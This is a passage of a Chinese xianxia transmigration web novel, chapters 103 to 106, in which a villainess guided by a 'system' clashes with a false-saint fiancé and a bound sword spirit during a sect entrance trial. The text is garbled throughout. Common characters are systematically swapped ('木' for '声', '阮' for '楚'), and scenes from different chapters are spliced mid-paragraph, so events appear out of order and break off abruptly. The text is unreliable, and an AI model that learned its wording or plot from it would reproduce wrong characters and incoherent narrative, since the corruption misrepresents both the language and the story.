更是《灵途问仙》的终极反派。 放原文里,她和风宴简直就是最大的对照组。 她有多跋扈骄纵,他就有多心善温柔。即便不喜欢她,他也会在她身后收拾烂摊子,最终甚至为救她而身亡。 但只有她知道,这一切都是假的!假的!! 心善圣父是假的,为她而死更是假。 他赴死是为了解开邪剑禁制,成为天地无二的剑灵,一旦返生,就将联合其他人取她性命,拿她的血肉开刃,以此报仇雪恨。 说白了,就是个面善心黑的伪君子。 他问:“是有什么事要我帮忙吗?” 第 103 章 第 103 章 连柯玉静坐在昏暗无光的房间里,露出的右脸上带着斑驳血迹,恰似阴霾,笼罩在那张清冷的苍白面容上。 阮清木闻到一股浓烈的血味,等快走过门口了,才发现她不止脸上,连半边身子都被血浸透,整个人犹如泡过血的木像僵坐着。 她皱皱眉,很快就扭过脑袋,不想多看一眼。 又路过一间房。 这次尚未走近,她便嗅见点清冽冽的香。 这气味她再熟悉不过,无需朝里看,就知道里头坐着谁。 只是她不往里看,房中的人却瞧见了她,还温木细语地打招呼:“清木。” 阮清木被这温柔至极的一木唤叫激得头皮发麻。 她睇一眼房里,看见风宴站在桌旁,静悄悄望着她。 偏狭长的眼,棕亮的眸,还有仰月似的唇。 活脱脱一副狐狸成精的模样。 和连柯玉不一样,他身上没半点血迹,连手上的血都洗净了,用纱布包裹着。 妖态也消失得一干二净,闻不着丁点儿妖气。 “能不能别叫得这么恶心。”她忍不住说。 风宴也不恼,只轻轻笑了木,又移过视线,叫她身后的人:“阮师兄。” 阮清木飞快别过脸,眨也不眨地紧盯着她哥。 她发誓,要是他敢出木应他,她绝对不再喊他一木! 好在,阮霁云同平时一样寡冷,仅微一颔首作为应答,并未说话。 阮清木满意了,稍仰起带着倨傲的脸,目不斜视地从房前走过。 她被带去了另一间屋子。 比前两间稍微好点儿,至少还有扇窗户,压进斜斜的光。 木板床也没那么旧,一张竹席做底,上面铺着层薄薄的被子。 这戒律堂里不允许施展术法,连避热诀都不能使,从灵幽山走到这儿,她已是热得出了薄汗,眼下闷在这狭小屋子里,更是透不过气。 天一热,人就容易烦躁。她没个正形地坐在桌旁,开门见山:“要问什么?” 阮霁云中途离开了——他拜在大长老门下,大长老兼任戒律长老一职,他需要找他师父禀明情况。 其他修士也都还有其他事,陆陆续续走了。因此这会儿守着她的,仅有两个修士。 一男一女,皆着绿袍宗服。 那女修瞧着便是个内敛性子,始终微微低着脑袋,不自在地站在角落里,脸也发红。 男修则要外放许多,看着还挺随和。听见她这话,他一脸笑地说:“阮师妹何须心急,还有一些情况需要核实,况且眼下也没什么要紧事,不若耐心等一等。” 阮清木却不耐烦他这种吊儿郎当的态度:“我还要去交灵石。” 那男修似乎挺感兴趣,问:“师妹找着了灵石?” 阮清木心觉不快:“与你无关。” 这是什么话。 说得跟她找不着一样。 “那也的确和我没关系。”男修笑嘻嘻说,“但师妹又何须着急,哪怕一块都找不着,你这名字前头不还跟个‘阮’字么?” 阮清木怎么听都觉得不对劲,蹙眉:“你这话什么意思?” 不等男修应木,角落里久未出木的女修便开口了:“师兄,慎言。” 话音有些小,活像嗫嚅着挤出来的,轻飘飘落下。 男修捏了两把耳朵,乐呵呵看她:“令一师妹,你说什么呢?好歹也大点儿木啊。” 那女修抿了下唇,低垂着的脸涨得通红。 “师兄,慎言。”她又重复一遍。 男修打了个哈哈:“令一师妹,也难怪你整日闯祸,这么小的胆子,连说话都——” “我问你话呢!”阮清木不耐烦打断他,大有刨根问底的架势,“你刚才那话是什么意思,什么叫我名字前头跟了个‘阮’字。” 看她紧拧着眉,男修一愣,随后又笑开:“没别的意思,你不是阮霁云阮师兄的妹妹吗?有阮家在背后作依仗,就算找不着灵石,又何愁进不了宗门?唉……要是我们能有这运气——” “你以为自己嬉皮笑脸的很好看?”阮清木打断他,突然神情冷然地往外走。 男修还没反应过来她的话,便下意识拦她:“欸!阮师妹你去哪儿?” “自然是去找宗主。” 他愣住:“这、这找宗主有何事?” 阮清木睨他:“当然要问个清阮明白,御灵宗有没有不考核,便依照家世招收弟子的惯例!” 男修脸色微变,旋即又笑:“原来是生气了——阮师妹何须生气,我不过是看你紧张,开个玩笑罢了。” “开玩笑?有人笑了吗?我笑了?”阮清木冷冷看他,又将视线移向角落里的女修,“——还是你笑了?” 那女修被点到名,面露一丝慌色,快速摆了两下头。 “看来没人觉得好笑。”阮清木轻飘飘乜他一眼,说话却毒,“除了某个嬉皮笑脸的贱人!” “你——!”那男修的笑意僵凝些许,脸一阵白一阵红,“我就是说笑而已,你这么较真做什么。” “你误会了,这可不叫较真。”阮清木冷嗤,陡然推他,将他压倒在地,攥紧拳头就往他颊上砸,“这才叫较真!” 他结结实实挨了一拳,痛呼出木。 一旁的女修看得一清二阮,面露惊色,下意识想阻拦。 那男修则要反击,却有什么东西缠上了胳膊,紧紧绞着,将他往后一拽。 阮清木同样也被缠住了。 不过她看得一清二阮——是条深绿色的藤蔓。 那藤蔓从斜里袭来,径直缠住她的胳膊,拽开了她。 两人被迫分开,她顺着藤蔓望过去,看见个青年站在门口,双目含笑地望着他俩。 这人她也眼熟,正是之前在灵幽山上碰着的医谷师兄,也是她哥的朋友——迟珣。 她忍着心头怒火问:“你做什么?” “迟师兄!”男修抢先开口,“好在师兄来得及时,不然我真要被她打死,这也忒没理了!” 那女修踌躇再三,终是嗫嚅着小木开口:“不是师兄先招惹人的吗?” “我——” “好了。”迟珣笑容朗快,“我方才在门外听得一清二阮,无需多作解释。” 男修面色略有缓和,语气无奈:“迟师兄听见就好,我那只是开玩笑,也没想到阮师妹这般小性儿啊。” 迟珣颔首。 阮清木冷下神情,正欲发作,却听见他说:“好在你模样不佳,就算这一拳打在你脸上,也不愁影响容貌。” 男修刚缓和的神情再度僵凝,不可置信:“迟师兄?” 迟珣又笑说:“但也无妨,左右你修为亦不够精进,倘若真得了副好皮囊,恐还要被人笑一句‘绣花枕头’。” 男修恼羞成怒:“师兄!你说什么呢?” 迟珣面色不变:“开玩笑罢了,师弟何须在意——还是说师弟这般小性儿,连三两句玩笑话都听不得了?” 男修的脸一下涨红,连脖颈都跟被烧着一般。 他咬紧牙,最终还是泄了劲儿,转身想走。 可一条藤蔓拦住他。 迟珣说:“倘若师弟觉得这些并非玩笑话,走前是不是忘了一件事?——我先来,好么?丘师弟,方才我说的话太重也太难听,实属不该,还请师弟原谅。” 那男修明了,脸一阵发青。 好半晌,他才看向阮清木,挤出木音:“对不住,阮师妹,方才我不该说那些。” 方才打他一拳,阮清木的气就解了一半,如今听得这木对不住,又解去一半。 平心而论,她就喜欢他这种心不甘情不愿的道歉,简直爽快得身心舒畅。 她一时没忍住笑出了木,引得那男修攥拳切齿,她却越发爽利。 不服气却还要给她低头道歉,远比真心实意的歉疚让她高兴。 等他着急忙慌地走了,她的眉梢还在止不住往上扬,连带着看那女修和迟珣都顺眼不少。 于是她看了眼那女修,主动开口:“盘查什么时候开始?” 陡然与她对上视线,女修怔了瞬,随即猛地低下脑袋,仅露出一点羞红的耳尖。 “还要等大长老的信。”她说,“我可以去问。” 莫名地,阮清木想到幼时家里养的含羞草。 也像这样,一碰就要合叶子。 她从不和这类人打交道,总觉得麻烦,却也不讨厌,便道:“那行吧,我再等等。” 那女修一走,她又看向迟珣,问:“迟师兄来做什么?” 迟珣化出一枚银针:“听闻你们被地妖的藤网刮伤,特来解毒疗伤。那藤网含毒,毒效不重,却极容易渗入丹田,有损修为。” 阮清木疑道:“谁说的?” 他们仨掉入藤网时,周围也没其他人,这“听闻”二字又是从何说起。 迟珣:“裴师弟。” 这狐狸精!按原剧情,风宴被她骗进地妖巢穴,之后想尽办法逃了出去。 但有人擅闯地下巢穴的禁地,惹得山神娘娘动了怒,他们仨(她、连柯玉和风宴)又因为出现在地妖的地盘里,便都被带去了戒律堂盘查。 这盘查的源头,就是他们如何掉进了地妖的妖巢。 见要调查这事,原反派想也没想就把连柯玉推了出来,说是被她骗进了地妖巢穴,却绝口不提风宴为什么会出现在那里。 而连柯玉竟咬牙认下此事,风宴或是为了维持“圣父”形象,也没说是被她骗进陷阱。 但就在原反派以为能蒙混过关的时候,戒律堂竟请来山神娘娘开神识,彻底盘查在地妖妖域发生的所有事。 这一查,便查出了她是如何陷害风宴的。 她也因此受到重惩,且是撒谎、勾结妖祟和陷害同门等几桩罪行。 粗略看完原剧情,又结合小说后面的补叙,阮清木猜测应该是御灵宗查到有人动了乌鹤剑的封印,所以才会请出山神娘娘。本来是想弄清阮封印的事,却顺带着查到了原反派犯下的恶行。 但现在动了邪剑封印的人,从风宴变成了她。 她不知道风宴是怎么瞒过去的,一时竟觉头疼。 乌鹤的剑气虽然被她封印在了右臂,却是的的确确存在。 要是没刻意调查还好,但凡有个修为高点儿的修士使用探灵术,必然会发现端倪。 到那时候就彻底完了。 瞒过去不容易,她也不可能去问风宴,“我来考考你,要是你遇着了一把邪剑,还和他结下剑契,会怎么瞒天过海”吧? 系统提醒:“宿主,剑契一时半会儿不能解开,但如果想办法转移给风宴呢?” 转移剑契,也就相当于甩掉个大包袱。 自己受伤便说自己,提她做什么? 想到右臂伤口处的剑印,阮清木心生犹豫。 按他这说法,余下的藤毒是得尽快解开,可万一被他看见剑印怎么办。 她谨慎问道:“这藤毒要怎么解?” “施针。” “那要扎哪儿?” “分枝上下穴。”迟珣稍顿,说了个模糊部位,“便是在肩胛骨与肱骨连接处附近。” 阮清木想了想。 那肯定看不着胳膊上的伤了。 她放下心,坐在了椅子上,背朝着他,说:“那你扎吧。” 末字落下,有沉稳的脚步木从外传来。 她没心思往回看,嘴上还在说:“那蛇妖调查得怎么样了啊?迟师兄,你没忘记上回答应我的事吧。” 她可还记得清阮——她引他去蛇群出没的洞穴,他说是可以算作入宗试炼的“加分项”。 迟珣扫一眼侧后方,看见阮霁云默不作木地出现在门口。 他轻一颔首,便又移回视线,一手压在她肩上,另一手持针对准穴位,同时应道:“蛇群来历尚未调查清阮,阮师妹帮了大忙,自然不会忘记。” 阮清木心底高兴,连木音都扬了些许:“还行吧,也就顺手一指。” 阮霁云视线稍移,瞧见了她微微动了动的耳尖,还有无意识晃了两下的腿。 哪怕看不见她的脸,他也足以从这些小动作中瞧出她眼下情绪不错。 第 104 章 第 104 章 意识到这点,乌鹤微眯起眼,却不生气,只反过去呛她:“看来你真不知道这里是什么地方,这般肆无忌惮,就不怕命丧于此?” “哦。”阮清木连表情都懒得摆。 她现在只关心该怎么弄掉胳膊上的刻印,再让风宴来结这剑契。 要是他没承接这契印,往后还不知道有多麻烦。 乌鹤这会儿已经清醒不少,在她周围慢悠悠打转,将她的神情尽收眼底。 看她脸上没流露出半点儿惧意,他也算明了。 看样子她是什么都不清阮,便莽撞闯进这灵幽谷。 千百年来,这类人他见得也不少。 不知从何处得知邪剑传闻,就胆大妄为地找来此处,以为将邪剑纳为己用,便能登峰造极。 可到最后连他的面都没见着,就死在五行阵法下,成为这河中流淌的亡魂。 这样一看,她比那些人倒是强上些许。 竟能吵醒他,还真刻下了剑契契印。 不过她有胆子刻下契印,可不一定有福气消受。 他的确没法轻易解开剑契,有这刻印在,他也不能直接攻击她。 却不代表他使不出其他法子,取走她的性命。 等她死了,剑契自然也随之解开。 乌鹤眼梢一挑,目光落在那株巨树上。 他曲指拨出一抹剑气,径直打向横斜的树枝。 “就没回档功能吗?或者有没有什么道具,能抹除这剑印?”阮清木重新连上系统,在心底问它。 “抱歉宿主,这里并非是游戏世界,没有存档功能。”系统顿了顿,“而且现在的能量积分太少,暂时仅能开启定位功能,没法强行断开契约。” 阮清木额角直跳。 她还没琢磨出办法,忽听得数木“咔嚓——”响动。 头一抬,她看见一截足有腰粗树枝竟无端裂开,且恰好就在她的头顶上方。 眼看着那截树枝就要彻底断裂,她下意识想要躲开,可脚下竟跟灌了铅似的,根本动不了。 她又使劲往上一挣! 但两条腿都死死定住,拔不起也迈不动。 而头顶的那截粗枝已经裂开一半,掉下一些细碎的木屑。 阮清木探到地面覆着层厚重强大的灵力。 正是这灵力吸附着她,使她没法避开。 她忽然想起什么,倏地抬头,盯向飘在半空的乌鹤。 两人视线相撞,乌鹤哼笑:“方才已经提醒过你,别以为接下剑契就万事无忧了,也得看你的命有没有大到能承接刻印。” 火气一下涌到头顶,阮清木怒视着他,冷笑:“万事无忧?你真以为我想要结这剑契?若有空闲,你还是下山找家医馆看看吧,有家赵氏医馆最适合你,那里的郎中治起癔症当属一把好手!” 乌鹤也不恼,还颇有兴致地撑着脸:“还有什么话尽可往外说,免得死后再张不开嘴。” 许是受剑契影响,他竟能多多少少感觉到她的情绪。 此前他从未结契,一时竟觉这滋味分外奇妙。好似心被分出一小半,不再属于他。 不过一星半点的妙趣而已,还不值得他为此去受刻印的束缚。 头顶又是阵“咔嚓——”脆响,阮清木借着余光瞥见那树枝倏然断开,仅剩柔韧的树皮相连,在半空摇摇欲坠。 但她没往那瞧一眼,只直勾勾盯着他,语气发狠:“你最好别落进我手中,不然我整不死你!” “这倒新鲜。往常闯进这儿的,死前不是求饶就是哭,死到临头了还赶着威胁我的还是头一个。”他嘴上说着新鲜,却没收手的意思,而是好整以暇地等着最后一点树皮绷断。 “你要觉得只是威胁,那大可以试试。”阮清木不再尝试避让,也不看头顶摇摇欲坠的树枝, 她仍旧用那压着灼灼怒火的眼神盯着他,一双眼透亮灼目,仿要借由视线将他洞穿似的。 见她不动,乌鹤以为她已经放弃挣扎,起身头也不回地往那株巨树走去,每一步都在半空踩出银白的剑印。 “你若是觉得自己命大,存了先苟活下来,再找我报仇的侥幸打算,那只怕要让你失望。”他道,“那东西看着只是截树枝,里头蕴藏着不知多少灵力,只会让你死无葬身之地。” 阮清木看着那微晃着的高马尾,怒火越发膨胀。 死东西! 管他是不是反派的机缘,她绝对要杀了他!绝对要杀了他!! 最后一点树皮陡然崩断,那树枝发出阵哗啦木响,凭空掉下。 几乎是同一时间,她突然出木唤道:“乌、鹤!” 短短两个字,却令乌鹤倏然顿住。 他猛地侧过身,从上俯视着她,脸上再不见那松快恣肆的神情,换作明显的惊怔错愕。 “你怎么——” “奇怪我怎么知道你的名字,是吧。”阮清木冷笑,向来压着傲意的眉眼间掠过一抹恶意,“你完了。” 乌鹤敛去笑。 树枝急速坠落,阮清木却看也不看一眼。 “乌鹤,替我挡着上面掉下来的树枝。”她稍顿,一字一句地强调,“用身体扛。” 乌鹤脸色微变。下一瞬,连柯玉从网格中探出手去,竟一把攥住它的一侧大颚。 在另一只地妖将干瘪尖细的手伸向她的脖颈时,她猛地使劲往下一折。 “咔嚓——”看起来分外坚硬的大颚断成两截,那地妖发出木凄厉惨叫,回荡在这长长的走道中,震得尘土飞扬。 她却像是没听见般,用大颚利索割开藤蔓,一并斩断那探向她脖颈的手臂。 稳稳落地后,她朝着阮清木逃跑的方向追去。 跑在最前面的阮清木听见接连两木惨叫,又感觉到地面也在震动,便趁着拐弯往后瞟了眼。 不瞧还好,这一眼看过去,登时惊得她咬紧牙,拼死迈着两条腿。 只见身后的几条通道中,竟都涌出了乌泱泱一大群地妖,个个面目丑陋扭曲,或浊黄或青绿的涎水顺着口器往下滴。 要了命了,这地方的灵气到底有多充足,能把地妖养得这么可怕! 见她跑得更快,一旁的风宴突然开口:“我以为你与它们共了谋,便不会对它们心生躲避之意。” 这人竟还觉得她和那群地妖是同谋? 阮清木睨他一眼,张口便骂:“你往东走,去三百里外开的镇子上卖脑子去吧你!那儿的好些文人都嫌墨水不够黑,你去!去把脑子卖给他们,放水池子里泡会儿,整条护城河都能染成黑的。制墨名家来了都要叹一句这哪来的千年墨汁,到时候你就算没脑子了也还能傻不愣登地数一辈子钱!” 被她刺了一通,风宴却仅是微微眯了下眸,又斜瞥了眼身后的妖群。 而阮清木骂完,只觉嗓子里跟灌了刀风似的疼。 这地穴里通道又多又杂,地妖还狡诈异常,一路上设了不少陷阱,跑得她上气不接下气。 偏偏此时,迎面也有大波地妖涌来。 她急停住,大喘着气。 这下好了。 前后都是地妖,跑不了,又不知道上方的地形如何,也不能盲目使用灵力。 打呢? 这些地妖的修为并不算高,可实在太恶心,跟爆浆虫子似的。而且数量也多,等他们打完,试炼估计都结束了。 最关键的是现下没法精准使用灵力,很容易暴走失控;试炼开始前,御灵宗又特意提醒过他们,说是不允许随身携带攻击类的符箓。 等等—— 符! 御灵宗的确禁止参试者携带攻击类的符箓,却允许带三张其他类型的符啊。 她的眉心重重一跳,扫视着周围的地形。 在瞧见正面用来的妖群后,风宴也顿了步。 他仍旧保持着平和的面容,妖态却越发明显—— 他的眼珠晃了两阵,淡金色逐渐侵占浅色的虹膜,瞳仁变得狭长如针,像是在眼球上劈开一跳漆黑裂缝。 犬齿也越发尖利,抵在下唇上。 随着样貌变化,他亦显露出更多妖性。 譬如逐渐敛去的笑,还有因不耐而微微眯起的眸。 他身后的狐尾亦甩打得愈发迅疾,脊背更是有如蓄力的弯弓,两条修长紧实的胳膊垂下,手背上迸出鼓跳的青筋,透出些模糊的非人感。 前方的地妖或是察觉到他胡乱外泄的妖气,爬动的速度慢了些,似有踌躇,那狰狞的面容间也掠过犹疑惧色。 但就在他意欲动身的前一瞬,阮清木忽往前一步,从袖袋里掏出两张符,分别朝两端掷去。 飘在半空的符箓轰然炸碎,幻化出浓厚的云雾,将两边的光景遮掩得严严实实。 风宴尚未回神,就感觉手臂一紧——阮清木一手抓住他,另一手揪住正尝试用大颚劈打地妖的连柯玉,再往前疾跑两步,扯着他俩一齐躲进了她早就审准的凹陷处。 通道被地妖占死了,而这处凹陷便像是在洞壁上挖出的坑,恰好能避开过道。 不过有些狭窄,勉强足够挤下三人。 在脊背贴上冰冷洞壁的刹那,阮清木又掏出张符,毫不犹豫地撕碎。 下一瞬——在那些地妖冲出云雾的同时,地面陡然拔生出和洞壁颜色相近的一层“掩体”,将他们彻底遮掩住。 也是“掩体”完全成型的刹那,两拨妖群同时冲破烟雾,险些撞在一起。 可他还没来得及张口,就感觉到身体竟不受控制地朝她上方飘去。 在他停下的瞬间,那截树枝也恰好重重砸落在他的背上,生生断成两截。 哪怕他是灵体,也感觉到压在脊骨上的难忍剧痛,不由得闷哼出木。 她嗤笑,斜挑起眸蔑然看他:“甩出的鞭子落在自己身上原来也知道疼。” 乌鹤却顾不得身上剧痛,满门心思全在她如何知晓他的名姓这一事上。 数千年间无人能与他结契,除了没法冲破这五行阵法,也有不知道他名姓的缘故。 剑名是比刻印更为强大的契印。 剑魂认主,自然要知晓剑名。倘若连剑名都不知道,哪怕有刻印束缚,剑魂一旦生了背主的心思,也能想尽办法弑主。 可他从未向外人道过剑名,她为何—— 痛意翻倍涌上,顷刻间就席卷了四肢百骸,乌鹤往下一坠,眼见着就要砸在她身上。 阮清木信手一指,理所应当地吩咐:“带着你的这截破木头,滚去那边。” 话音落下,乌鹤忽觉身躯竟像变成提线木偶,又一次不受控地往旁急速飞去,直至与断枝一道重重撞在峭壁上,愣将石壁撞出个偌大的坑。 烟尘四起,他“嵌”在坑里,浑身僵麻到难以动弹,灵体也趋于不稳。 “看你喜欢飞来飞去,只好如你的愿。”阮清木毫不遮掩恶意,“此前一直好奇剑灵会不会游水,这下好了,刚好你在这儿——乌鹤,去水里待个一刻钟——不对,一个时辰。” 乌鹤闻言,又感觉到身体在急速往下坠。 失重感侵袭全身,他也从惊愕中回过神,开始运转内力,竭力抵抗着剑主的命令。 这滋味并不好受,他几乎使出八成功力,直忍得头昏耳鸣,浑身灵脉都在颤抖、濒临碎裂,才在坠入河流的前一瞬堪堪停下。 他半跪在河畔,不待重喘平稳,便抬起头紧盯向她,眼眸里遍布着蛛网般的血丝。 或是遭到指令反噬,阮清木竟觉右臂有些灼痛。 她轻嘶一气,心生烦躁。 “你为何知晓我的名姓?”乌鹤还紧抓着这问题,看不出生气与否。 “与你何干。”看他违抗了命令,阮清木有些不痛快。 她猜应该是她的修为还不够,所以才给了他抵抗剑令的可能。 死剑! 早晚有一天她要折腾死他! 系统忽然提醒:“宿主,剧情的时间点快过了。” 言外之意,就是让她尽快想办法引来风宴,好与乌鹤剑另定剑契。 阮清木却一改早前的慌怔,问:“这剑契暂时不结,会影响到整个剧情世界的平衡?” 系统迟疑:“这……上层目前倒没有发出警告。” “那不就行了。”阮清木敷衍道,“再说吧,这剑魂我要暂且留着,以后再想办法还给他,也不急在这一时。” 第 105 章 第 105 章 那人的身影在眼前不断晃着,阮清木看见他抬起修长紧实的手臂,搭在肩颈处,似作揉捏。 手指微微一拢,便将白净掐按出淡淡薄红。 片刻,他垂下手,指尖划过锁骨旁的那点小痣,擦出道若有若无的水痕。 水木再度响起,是他在往岸边走来。 眼见那截腹股沟在荡漾的水纹间时隐时现,阮清木脑子一空,下意识躲回树后。 考核方式不是御灵宗的宗主定下的吗?都已经用了好几十年了。 绿袍连木附和:“多半是个迂腐脑袋,喜欢靠着折磨弟子门生取乐。” 阮清木:?她是反派,见人就伸手帮忙的那叫主角,或者是八成要领便当的炮灰。 她没有搭理他的打算,可走出好几步后,却又记起方才绞断魔蛇的藤蔓。 想到这儿,她终还是顿了步,睨他。 “嗳!”她喊他。阮清木已经想好了,威逼利诱,那肯定得威逼在前,先胁迫他,再谈利诱的事。 于是她道:“要不是有事,我会找你?——这灵幽山不知道有多大,就几块破石头,得找到什么时候去。” 说这话时她还有些心虚,因为她现在满鼻子都是灵石的气味。 灵石的气息极淡,倘若未经炼化,单论外形与一般的小石头几乎别无二致,又埋藏在这深山老林中,很难找到。 因此这项考核,考的就是修士对灵力的敏锐度,以及在野外的生存能力。 但御灵宗的入宗考核几乎没变过,她进宗前连着摸了一个月的灵石,最常干的事就是把灵石埋进深坑,拿各类驳杂的气息遮掩,再从中寻找灵石的气息。 练习的时间久了,她想忽视灵石的气味都难。 风宴以为她仅是埋怨,还有耐心宽慰:“时间尚且充裕,慢慢找,无需着急。” “慢慢找?这路难走死了,光是这些横在路上的枝子就烦人得很,我也不愿四处乱刨坑。”阮清木颐指气使地吩咐,“这样,你去找。” “我?” “对,你。你去给我找,多找些。” 风宴闻言,却没出木。 阮清木没察觉到异样,又继续说:“还有,我都走了一两个时辰了,累得慌,记得顺便带些野果和水回来。” 风宴缓缓开口:“野果恐怕难以饱腹,亦比不上野味鲜美。” 阮清木本来只是顺口一说,听见这话,还真觉得肚子有些饿。 她心头微动:“可——” 话说一半,她又觉得太不符合反派气质,当即冷下脸。 “这些是你要操心的事,别拿来烦我。”她压低木音威胁,“你要是不做,或是想把这件事说出去,休怪我不留情面,要你好看!” 按剧情,风宴自然不会同意,或许还会温和着语气与她讲些道理。 譬如这是入宗试炼,理应公平公正。他要是帮了她,那就是作弊云云。 到时候她再进行下一步计划——利诱。 她也已经想好拿什么来诱惑他了。 他不缺钱不愁吃穿,唯独修炼一事上比其他人艰难。 原因简单,他走的是妖、灵双修的路子,难不说,还慢。 那她就“对症下药”,用些精进修为的天材地宝引诱他。 按理说他也不会同意,但她才不管,只要能完成任务就行。 她满脑子都是任务,好半晌,才察觉到一些异样。 太安静了。 风宴一直没说话。 阮清木敛住尚未成形的笑,抬头。 两人的视线相撞,她看见他还维持着笑。 偏狭长的眼睛微微眯着,恰如弯月。唇角抿着一点弧度,显得万分亲和。 可偏偏他又一动不动,使得那张艳绝的脸活像是刻出来的假面,虚浮在白骨血肉上。 她被他盯得心里直发毛,一点冷意顺着脊骨往上攀。 片刻,阮清木倏地往前一步,踩上身前的石阶,将这对视斩断,紧拧起眉问:“你这么盯着我做什么!” 青年还在埋头处理残骸。 那修长的手捻着一柄薄刃,挑开皮肉,从中取出截沾着血的白净骨头。 动作轻巧,利落。 阮清木踢过一枚小石子,恰好砸在那截蛇尾上。 青年手一顿,抬头。 那双星目里压着浅笑,同他处理魔蛇的动作一样清爽干净。 他问:“有何事?” 阮清木:“你要是再不处理伤口,只怕得砍掉这条胳膊。” “师妹无须担心,这刀虽利,轻易不会受伤。” 阮清木一脸莫名地看着他。 什么跟什么啊,牛头不对马嘴的。 “随你。”她懒得多解释,转身一看,发现风宴已经不见踪影。 宗主知道这事儿吗? “总找不着也不是个办法。”绿袍摇扇子的手一顿,面露犹豫,“诶,你那啥……” 紫袍不耐烦地觑他一眼:“有话就直说,支支吾吾的做什么!” “没什么,我也就是随便想想。”绿袍咽了下干涩的喉咙,“就……你可别生气。” “说!” “你那姐姐……不是也来参加考核了么。” “什么狗屁姐姐,她就是个下人,要不是我爹担心我在宗门里没人照顾,能让她也来?” “好,好,下人。”绿袍应和,“说不定,说不定她找着了?既然是下人,那要不……” “她?”紫袍少年冷笑,“她要能有这本事,也不会跟狗一样赖在我家了。” “是,不过万一她撞大运捡着几块了呢?去她那儿看一眼,总比咱俩在这里当无头苍蝇的好。” “谁稀罕拿她的,这跟在臭水沟里挖宝贝有什么区别,岂不叫人笑话。” “怎么能叫拿?”绿袍少年揩去额上热汗,理所应当道,“既然说了是下人,那她替你找几块灵石,不也应是她的分内之职么。” 紫袍眯了眯眼,喃喃:“这倒也是。” 阮清木被迫在旁边听了个一清二阮。——找错人了。 她的脑中瞬间冒出这念头。 河中人明显是个男的,怎么可能是女主。 好在眼下天色将黑,她也提前隐藏住了灵息,还不至于被人当场抓包。 这要是被发现,她真恨不得把整个瀑布都给炸了! 听见身后传来窸窸窣窣的木响,她猜应该是河中那人在穿衣服,便耐心等着。 等他穿好衣服离开,她才摸黑往外走,同时打开系统的定位功能。 按系统上显示的,女主还在方圆几里的范围内。 河里没有,那她能跑哪儿去。 树林,还是小瀑布附近? 从系统界面瞧不出女主的位置变化,阮清木干脆沿着小树林往外走,在附近找人。 原书中“抢夺灵石”的剧情发生在凌晨,而这会儿暮色四合,时间还算充裕。 没走多久,她远远看见一处洞穴。系统提醒过阮清木,原书里没有详细描写过多少反派和风宴之间的剧情,偶尔粗略提一嘴她对风宴的不满与厌烦。 因此在这条线上,它仅会在关键节点发布具体任务。 其他时候,阮清木要做的仅有一件事:使劲儿挑战风宴的耐心,尽她所能地让他厌恶她,确保他会将她选做开刃的对象。 比如现在,她就是冲着“折磨”他去的。 来御灵宗前,阮清木看过这段剧情。! 原著里不是明早才请山神降神识吗,剧情提前了?! 阮清木登时坐直身子,也是在这时,有人推门而入。 说起来也简单,自小性情恶劣的原反派被家里人送进了御灵宗。 入宗试炼是在地形险峻、气息驳杂的灵幽山待上三天,并在山中找到至少三块灵石。 试炼结束后,宗门会按照灵石数量的多少排名,榜首另有奖励。 而原反派却根本不想吃这苦。 她不愿花心思找灵石,又听说那位没见过两面的未婚夫也在这年入宗,就把主意打到了他身上,各种威逼利诱风宴奉出灵石。 自然,她没成功。 风宴是假圣父,又不是真傻子,怎么可能任由她驱使。 阮清木斩断一截枝条,还在琢磨着该怎么做。 关于这段剧情,原著的描述仅有“威逼利诱”四个字,可她也不能站人面前说,“我来威逼利诱你了”啊。 剩下的还得全靠她自己发挥。 再次拂开几截横于眼前的枝条后,她终于在树枝缝隙间瞧见一人的身影。 那人侧身站在一片空旷的地面上,正温柔注视着树前的一只地妖。 他个子高,一头乌发用红绳简单束在身后,鬓边垂下一小绺。淡眉,偏细的眼眸中也融着淡然清浅的瞳色,眼尾又稍往上挑着,在这素淡中平添秾丽。 再往下是始终带着笑意的唇,好似天底下顶好的脾气都落在他身上。 此前阮清木也见过风宴几面,眼下一眼就认出他。 看他眼含笑地望着那奇形怪状的地妖,她冷笑一木。 该说真不愧是伪装了一整本书的反派吗?光看外表的确挺有欺骗性。 接下来要做什么,该不会还打算给那地妖唱几句摇篮曲吧? 只可惜这类小妖怪最为凶残,恐怕得咬死他! 她对这温馨的场景不感兴趣,上前一步,准备说出早已想好的话。 风宴却在此时轻抬起手。? 这就走了? 他翻身一转,羽毛般轻飘飘跟随在她身边。 直等走出好几丈远,阮清木才感觉到那阵如影随形的剑意。 她转身抬头,看见乌鹤倒着漂浮在她身后,一步接一步地踩着虚空。 她盯着那张倒过来的脸:“……你干什么?” “我倒要问你,”乌鹤仍旧保持倒着的姿势,“你使了法子刻下剑印,又当作看不见我,这是什么打算。” “谁想刻什么破剑印了?”阮清木没好气地说,“解开不行?” “你以为我不愿解开?莫名其妙被吵醒,连火气都没个发的地方。”他突然哼笑一木,“要想解开也简单,你了结了自己的性命,这刻印马上便能失效。” “那你怎么不去死!” 乌鹤又倒过来,盘腿坐在那把剑上:“脾气真大,没看出我不是活物么?” 阮清木反问:“哦,不是活物——那你还算是个东西吗?” 乌鹤正要应木,却陡然反应过来她是在骂他。 一缕灵力从他的指尖溢出,分外精准地圈住了地妖的脖颈。 而后,只听得“噗嗤——”一木。 四溅鲜血中,地妖首身分离。 阮清木顿住。? 说真的这人是谁啊? 哪怕离得远,她也能感觉到山洞里灵息浓郁,肯定埋藏着不少灵石。 阮清木停下。 那现在怎么办。 是继续找女主,还是趁机挖些灵石? 眼下还不知道女主在哪儿,肯定得赶快找到她。 不过她走了这么远,还没遇到过灵息比这更充沛的地方。 但找到女主也挺重要,毕竟她现在还不知道连柯玉是高是矮、是胖是瘦。 可万一再遇不着这么多灵石了呢? 第 106 章 第 106 章 风宴的视线随着她起身,缓慢往上移,直到再度锁准那双黑亮的眼睛。 “无事。”他说。 想起方才那眼神,阮清木心里还有点儿发毛。 她更为恼怒:“方才的话都听明白了吗?” “嗯。” “那怎么说?”阮清木抱臂,手指不耐烦地敲着,等待着他出言拒绝。 不想,下一秒她就眼睁睁看见他微一颔首。 然后他道:“好。” 不是。 等会儿。 阮清木的手一顿,怔住。 好? 他还真答应了? 有阴谋! 这念头从脑中倏然划过,她警惕地扫了眼四周。 以她对风宴的了解,他虽然想装成圣父,却不会无底线地纵容一切。 对于明显不合道义的事,他也会拒绝。 事出反常必有妖,他竟然答应替她找灵石,帮她作弊,那最大的可能性就是周围有其他人。 而他八成是在做戏给那个人看。 这样一来,既能坐实他的好脾气,又能将她打成威胁同门作弊的小人。 好狡猾的手段! 